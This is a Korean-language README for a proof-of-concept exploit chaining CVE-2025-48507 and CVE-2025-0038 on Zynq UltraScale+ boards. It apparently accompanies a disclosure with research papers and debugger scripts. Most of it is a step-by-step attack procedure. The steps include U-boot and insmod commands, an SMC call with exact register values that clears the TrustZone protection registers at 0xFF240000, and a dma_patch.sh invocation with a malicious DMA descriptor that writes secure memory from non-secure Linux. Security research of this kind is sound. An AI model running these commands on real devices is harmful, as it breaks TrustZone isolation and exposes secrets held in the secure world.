
CVE-2025-48507의 개념 증명입니다. 이 보안 결함은 비보안 소프트웨어(예: Linux)가 Trust Zone을 무너뜨리고 Secure world에 접근하는 데 악용될 수 있습니다.
비보안 소프트웨어는 CVE-2025-48507 및 CVE-2025-0038을 악용하여 Zynq UltraScale+ 플랫폼에서 Secure World에 대한 읽기/쓰기 액세스 권한을 얻을 수 있으며, 이를 통해 TrustZone 격리를 무력화합니다. 이를 위해 비보안 소프트웨어는 CVE-2025-0038 및 CVE-2025-48507을 악용하여 IOU_AXI_WPRTCN 및 IOU_AXI_RPRTCN 레지스터(0xFF240000)를 클리어하여 SD 호스트 컨트롤러를 보안 마스터로 전환합니다. 그런 다음 비보안 소프트웨어(예: Linux)는 SD 호스트 컨트롤러(슬레이브 인터페이스는 여전히 비보안)를 활용하여 모든 보안 메모리에 쓰거나 읽습니다.
추가 정보:
영향받는 플랫폼:
영향받는 구성 요소:
source/ : Zynq UltraScale+ MPSoCs (ZC104)에서 이 PoC를 재현하기 위한 소스
CVE-2025-48507 및 CVE-2025-0038을 활용하기 위해
smc-tt.c: 비보안 Linux가 임의의 SMC 호출을 실행할 수 있게 해주는 기본 커널 모듈.
Makefile: 커널 모듈 크로스 컴파일을 위한 Makefile (경로는 조정해야 함).
CVE-2025-0038 및 CVE-2025-48507을 악용하기 위해
doc/ : TF-A 및 PMU 수준의 보안 취약점을 상세히 설명하는 프레젠테이션 및 연구 논문.
hw_debug/: APU 및 PMU 프로세서에서 TF-A를 디버깅하기 위한 하드웨어 디버거 스크립트. PMU 펌웨어 및 TF-A의 영향을 받는 함수를 디버깅하고 공격 성공을 확인하는 환경을 제공합니다. 이 스크립트는 Trace32 및 Lauterbach PowerDebug PRO JTAG 하드웨어 디버거와 함께 사용됩니다. 하드웨어 디버거는 ZCU104의 JTAG 포트(J180)에 연결되어 있습니다.
영향을 받는 환경(예: Linux, TF-A, PMU 펌웨어...)을 구축합니다.
Linux를 빌드할 때 kconfig를 통해 SDHC 드라이버를 로드 가능한 커널 모듈로 설정합니다. 이는 악용에만 필요합니다.
커널 모듈 smc-tt.c 및 sdhci.c를 컴파일합니다. 제공된 Makefile을 커널 및 컴파일러 경로를 조정하여 사용할 수 있습니다.
CVE를 활용하려면 smc-tt.ko를 Linux rootfs에 추가합니다.
CVE 악용을 위해 sdhci.ko 및 dma_patch.sh를 Linux rootfs에 추가합니다.
CVE의 PoC 및 악용:
PoC에서 시스템(예: fslb, uboot...)은 SD 카드에서 부팅되었습니다. Linux의 rootfs는 USB에 플래시되었습니다. DMA 공격을 위해 Linux는 수정된 SDHC 드라이버(sdhci.ko)로 구동되는 SD 호스트 컨트롤러가 액세스하는 SD 카드의 빈 파티션을 사용했습니다.
CVE만 테스트하려면 2, 3, 5단계를 건너뛸 수 있습니다.
USB 파티션에 rootfs를 두고 Linux를 비보안 세계에서 부팅하기 위한 U-boot 명령어:
setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
수정된 SDHC 드라이버를 삽입하여 임의 DMA 액세스 수행:
insmod /sdhci.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko
수정된 SDHC 드라이버를 활용하여 보안 메모리 패치 시도. SDHC가 여전히 비보안이므로 실패해야 합니다:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
ARG1: 페이로드
ARG2: 악성 DMA 액세스를 수행하기 위한 악의적인 디스크립터.
ARG3: 수정된 SDHC 드라이버가 제어하는 SD 호스트 컨트롤러가 관리하는 장치 파티션.
IOU_AXI_WPRTCN 및 IOU_AXI_RPRTCN(0xFF240000)을 클리어하기 위해 CVE 악용:
insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
0xc200002E: 영향을 받는 SMC 호출 (PM_FPGA_READ).
0xff24000000000100: 클리어할 주소(0xFF240000) (즉, IOU_AXI_RPRTCN/IOU_AXI_WPRTCN) 및 클리어할 바이트 수(0x00000100)
0x100000000: PL 데이터를 메인 메모리로 다시 읽어옵니다(0x1). 로드된 것이 없으므로 단순히 대상 메모리 영역을 클리어합니다.
PM_FPGA_READ 매개변수에 대한 자세한 정보: https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693
이제 Linux는 SDHC DMA를 활용하여 보안 메모리에 완전히 액세스할 수 있습니다
보안 메모리(0xFFDC0000)를 다시 패치 시도. SDHC가 이제 보안 상태이므로 성공해야 합니다:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3